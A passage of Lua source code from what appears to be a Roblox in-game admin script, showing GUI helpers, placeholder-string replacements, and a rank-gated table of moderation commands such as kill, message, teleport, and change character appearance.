5162 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5163 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5164 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5165 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5166
5167 local CurrentSeconds = AllSeconds
5168 local Alive = true
5169 coroutine.wrap(function() for i = 0,AllSeconds do
5170 if not Alive then break end
5171 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5172 local Minutes = tostring(math.floor(CurrentSeconds/60))
5173 if #Seconds == 1 then Seconds = "0"..Seconds end
5174 if #Minutes == 1 then Minutes = "0"..Minutes end
5175 Time.Text = Minutes..":"..Seconds
5176 wait(1)
5177 if CurrentSeconds <= 0 then
5178 Alarm:Play()
5179 Time.Text = "00:00"
5180 Part.Size = UDim2.new(1,0,1,0)
5181 Restore:Invoke()
5182 wait(4)
5183 Close:Invoke()
5184 break
5185 else
5186 Tick:Play()
5187 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5188 CurrentSeconds = CurrentSeconds - 1
5189 end
5190 end end)()
5191
5192 Closed.Event:connect(function()
5193 if Alive == true then
5194 Alive = false
5195 Tick:Stop()
5196 Alarm:Stop()
5197 end
5198 end)
5199end)() end
5200
5201function GUI:DetachChat(Player)
5202 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5203 if Player:FindFirstChild("DetachChatMML") then
5204 Player.DetachChatMML:Invoke(true)
5205 wait()
5206 Player.DetachChatMML:Destroy()
5207 end
5208
5209 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5210 local SG = Frame.Parent.Parent.Parent
5211
5212 local DCBF = Instance.new("BindableFunction", Player)
5213 DCBF.Name = "DetachChatMML"
5214 DCBF.OnInvoke = function(Remove)
5215 if Remove then
5216 SG:Destroy()
5217 end
5218 end
5219 CORE:ExecuteResource("CoreChat", SG)
5220
5221 local IsClosed = false
5222 Closed.Event:connect(function()
5223 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5224 IsClosed = true
5225 end)
5226
5227 coroutine.wrap(function()
5228 Player.CharacterRemoving:wait()
5229 if not IsClosed then
5230 IsClosed = true
5231 wait(1)
5232 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5233 end
5234 end)()
5235end
5236
5237function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5238 if not Player then return nil end
5239 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5240 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5241
5242 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5243end)() end
5244
5245function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5246 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5247 if not SoundID then SoundID = SoundInfo["ID"] end
5248 if not TitleText then TitleText = SoundInfo["Name"] end
5249 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5250 if not InputSound then InputSound = Sound end
5251
5252 local NumSounds = 0
5253 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5254 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5255 NumSounds = NumSounds + 1
5256 end
5257 end
5258
5259 local Size = UDim2.new(0.1, 100, 0.1, 100)
5260 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5261 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5262
5263 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5264 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5265 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5266 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5267 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5268 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5269 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5270
5271 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5272 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5273 if Sound then
5274 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5275 end
5276 if Time then
5277 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5278 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5279
5280 coroutine.wrap(function()
5281 local Alive = true
5282
5283 local function StopTimer() Alive = false end
5284 Closed.Event:connect(StopTimer)
5285 Minimized.Event:connect(StopTimer)
5286 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5287
5288 for i = Time,0,-1 do
5289 for ii = 1,10 do
5290 if Alive == true then
5291 Timer.Text = i
5292 wait(0.1)
5293 else
5294 break
5295 end
5296 end
5297 end
5298 if Alive == true then
5299 Close:Invoke()
5300 else
5301 Timer:Destroy()
5302 Stop:Destroy()
5303 end
5304 end)()
5305 end
5306end
5307
5308---- STRING REPLACEMENT OPERATIONS ----
5309
5310-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5311
5312-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5313
5314StringReplacements = {
5315 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5316 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5317 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5318 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5319 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5320 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5321 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5322 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5323 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5324 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5325
5326 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5327 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5328 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5329 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5330 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5331 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5332
5333 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5334 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5335 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5336 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5337 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5338 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5339 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5340 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5341 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5342 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5343 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5344 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5345 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5346 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5347 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5348 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5349}
5350
5351---- COMMANDS ----
5352
5353-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5354
5355Commands = { -- can't make local
5356 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5357 print("[MML's Admin]: Test message from "..Speaker.Name)
5358 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5359 end};
5360
5361 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5362 local Players = STRING:Scan(Arguments[1], Speaker)
5363 for _,Player in pairs(Players) do
5364 if Player.Character then
5365 Player.Character:BreakJoints()
5366 end
5367 end
5368 end};
5369
5370 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5371 local Players = STRING:Scan(Arguments[1], Speaker)
5372 for _,Player in pairs(Players) do
5373 if Player.Character then
5374 Instance.new("ForceField", Player.Character)
5375 end
5376 end
5377 end};
5378
5379 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5380 local Players = STRING:Scan(Arguments[1], Speaker)
5381 for _,Player in pairs(Players) do
5382 if Player.Character then
5383 for _,Get in pairs(Player.Character:GetChildren()) do
5384 if Get:IsA("ForceField") then
5385 Get:Destroy()
5386 end
5387 end
5388 end
5389 end
5390 end};
5391
5392 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5393 for _,Player in pairs(Server.Players:GetPlayers()) do
5394 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5395 end
5396 end};
5397
5398 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5399 for _,Player in pairs(Server.Players:GetPlayers()) do
5400 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5401 end
5402 end};
5403
5404 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5405 local Players = STRING:Scan(Arguments[1], Speaker)
5406 for _,Player in pairs(Players) do
5407 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5408 end
5409 end};
5410
5411 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5412 for _,Player in pairs(Server.Players:GetPlayers()) do
5413 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5414 end
5415 end};
5416
5417 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5418 local Players = STRING:Scan(Arguments[1], Speaker)
5419 for _,Player in pairs(Players) do
5420 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5421 end
5422 end};
5423
5424 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5425 local Players = STRING:Scan(Arguments[1], Speaker)
5426 local AgeList = {}
5427 for _,Player in pairs(Players) do
5428 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5429 end
5430 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5431 end};
5432
5433 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5434 local Players = STRING:Scan(Arguments[1], Speaker)
5435 local AgeList = {}
5436 for _,Player in pairs(Players) do
5437 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5438 end
5439 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5440 for _,Player in pairs(SecondPlayers) do
5441 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5442 end
5443 end};
5444
5445 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5446 local Storage = {{}, {}, {}, {}}
5447 local StorageText = {}
5448 local Formatted = {}
5449 for CommandNames,Data in pairs(Commands) do
5450 if not Data.Hidden then
5451 local RankNeeded = RANK:ConvertRank(Data[4])
5452 local Add = ""
5453 if Data[4] == "Non-Admin" then Add = "BLACK " end
5454 if Data[4] == "Admin" then Add = "CYAN " end
5455 if Data[4] == "Member" then Add = "BLUE " end
5456 if Data[4] == "Owner" then Add = "BROWN " end
5457 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5458 local AddBet = Settings.Bet
5459 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5460 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5461 table.insert(Storage[RankNeeded + 1], Add..Text)
5462 StorageText[Text] = CommandNames
5463 end
5464 end
5465 for Num,_ in pairs(Storage) do
5466 table.sort(Storage[Num])
5467 end
5468 for _,Table in pairs(Storage) do
5469 for _,Command in pairs(Table) do
5470 table.insert(Formatted, Command)
5471 end
5472 end
5473 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5474 Clicked.Event:connect(function(Text)
5475 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5476 end)
5477 end};
5478
5479 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5480 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5481 end};
5482
5483 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5484 if GUI:GetColor(Arguments[1]) then
5485 local ColorScheme = string.upper(Arguments[1])
5486 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5487 Settings.ColorScheme = ColorScheme
5488 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5489 else
5490 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5491 end
5492 end};
5493
5494 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5495 local List = {}
5496 for Color,_ in pairs(Colors) do
5497 table.insert(List, Color.." "..Color)
5498 end
5499 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5500 end};
5501
5502 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5503 local Transparency = tonumber(Arguments[1])
5504 if Transparency then
5505 if Transparency > 90 then Transparency = 90 end
5506 if Transparency < 10 then Transparency = 10 end
5507 Settings.TransparencyScheme = Transparency/100
5508
5509 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5510 else
5511 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5512 end
5513 end};
5514
5515 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5516 if Fonts[Arguments[1]] then
5517 Settings.Font = Arguments[1]
5518 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5519 end
5520 end};
5521
5522 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5523 Settings.Fun = not Settings.Fun
5524 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5525 end};
5526
5527 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5528 Settings.DisableAbuse = not Settings.DisableAbuse
5529 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5530 end};
5531
5532 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5533 local List = {}
5534 for Font,_ in pairs(Fonts) do
5535 if Font == Settings.Font then
5536 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5537 else
5538 table.insert(List, Font.." "..Font)
5539 end
5540 end
5541 GUI:ListGui(Speaker, "Font list", List, 44453197)
5542 end};
5543
5544 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5545 local SoundID = tonumber(Arguments[1])
5546 if SoundID then
5547 Settings.ExecuteNotificationSound = SoundID
5548
5549 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5550 else
5551 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5552 end
5553 end};
5554
5555 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5556 Settings.ExecuteNotificationSound = 0
5557 end};
5558
5559 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5560 local Players = STRING:Scan(Arguments[1], Speaker)
5561 for _,Player in pairs(Players) do
5562 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5563 end
5564 end};
5565
5566 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5567 local Players = STRING:Scan(Arguments[1], Speaker)
5568 for _,Player in pairs(Players) do
5569 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5570 end
5571 end};
5572
5573 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5574 local Players = STRING:Scan(Arguments[1], Speaker)
5575 for _,Player in pairs(Players) do
5576 coroutine.wrap(function()
5577 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5578 wait(1)
5579 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5580 end)()
5581 end
5582 end, Hidden = true};
5583
5584 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5585 local Players = STRING:Scan(Arguments[1], Speaker)
5586 for _,Player in pairs(Players) do
5587 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5588 end
5589 end};
5590
5591 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5592 local Players = STRING:Scan(Arguments[1], Speaker)
5593 for _,Player in pairs(Players) do
5594 CORE:ChangeName(Player, Arguments[2])
5595 end
5596 end};
5597
5598 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5599 local Players = STRING:Scan(Arguments[1], Speaker)
5600 for _,Player in pairs(Players) do
5601 if Player.Character then
5602 local Head = Player.Character:FindFirstChild("Label")
5603 if Head then Head:Destroy() end
5604 local Head = Player.Character:FindFirstChild("Head")
5605 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5606 end
5607 end
5608 end};
5609
5610 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5611 local Players = STRING:Scan(Arguments[1], Speaker)
5612 for _,Player in pairs(Players) do
5613 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5614 end
5615 end};
5616
5617 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5618 local Players = STRING:Scan(Arguments[1], Speaker)
5619 for _,Player in pairs(Players) do
5620 local _,RankNum = RANK:GetRank(Player)
5621 if RankNum <= RANK:ConvertRank(Rank) then
5622 Server.TS:Teleport(Arguments[2], Player)
5623 end
5624 end
5625 end};
5626
5627 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5628 local Players = STRING:Scan(Arguments[1], Speaker)
5629 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5630 if Suc then
5631 for _,Player in pairs(Players) do
5632 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5633 end
5634 else
5635 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5636 end
5637 end};
5638
5639 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5640 local Players = STRING:Scan(Arguments[1], Speaker)
5641 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5642 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5643 if Suc then
5644 for _,Player in pairs(Players) do
5645 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5646 end
5647 else
5648 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5649 end
5650 end)
5651 end};
5652
5653 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5654 local Players = STRING:Scan(Arguments[1], Speaker)
5655 for _,Player in pairs(Players) do
5656 local _,RankNum = RANK:GetRank(Player)
5657 if RankNum < RANK:ConvertRank(Rank) then
5658 Server.TS:Teleport(155307015, Player)
5659 end
5660 end
5661 end};
5662
5663 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5664 local Players = STRING:Scan(Arguments[1], Speaker)
5665 for _,Player in pairs(Players) do
5666 local _,RankNum = RANK:GetRank(Player)
5667 if RankNum < RANK:ConvertRank(Rank) then
5668 Server.TS:Teleport(347911447, Player)
5669 end
5670 end
5671 end};
5672
5673 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5674 local Players = STRING:Scan(Arguments[1], Speaker)
5675 for _,Player in pairs(Players) do
5676 CORE:GenerateShield(Player)
5677 end
5678 end};
5679
5680 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5681 local Players = STRING:Scan(Arguments[1], Speaker)
5682 for _,Player in pairs(Players) do
5683 if Player.Character then
5684 local Shield = Player.Character:FindFirstChild("Shield")
5685 if Shield then Shield:Destroy() end
5686 end
5687 end
5688 end};
5689
5690 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5691 local Num = tonumber(Arguments[1])
5692 if Num and Num ~= 0 then
5693 local Random = math.random(1,math.abs(Num))
5694 if Random == math.random(1,math.abs(Num)) then
5695 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5696 else
5697 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5698 end
5699 else
5700 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5701 end
5702 end};
5703
5704 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5705 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5706 IRC:AddChat(Speaker.Name, Arguments[1])
5707 end};
5708
5709 --[[
5710 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5711 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5712 if Res then
5713 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5714 end
5715 end, Http = true};
5716
5717 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5718 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5719 if Res then
5720 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5721 end
5722 end}, Http = true;
5723 ]]
5724
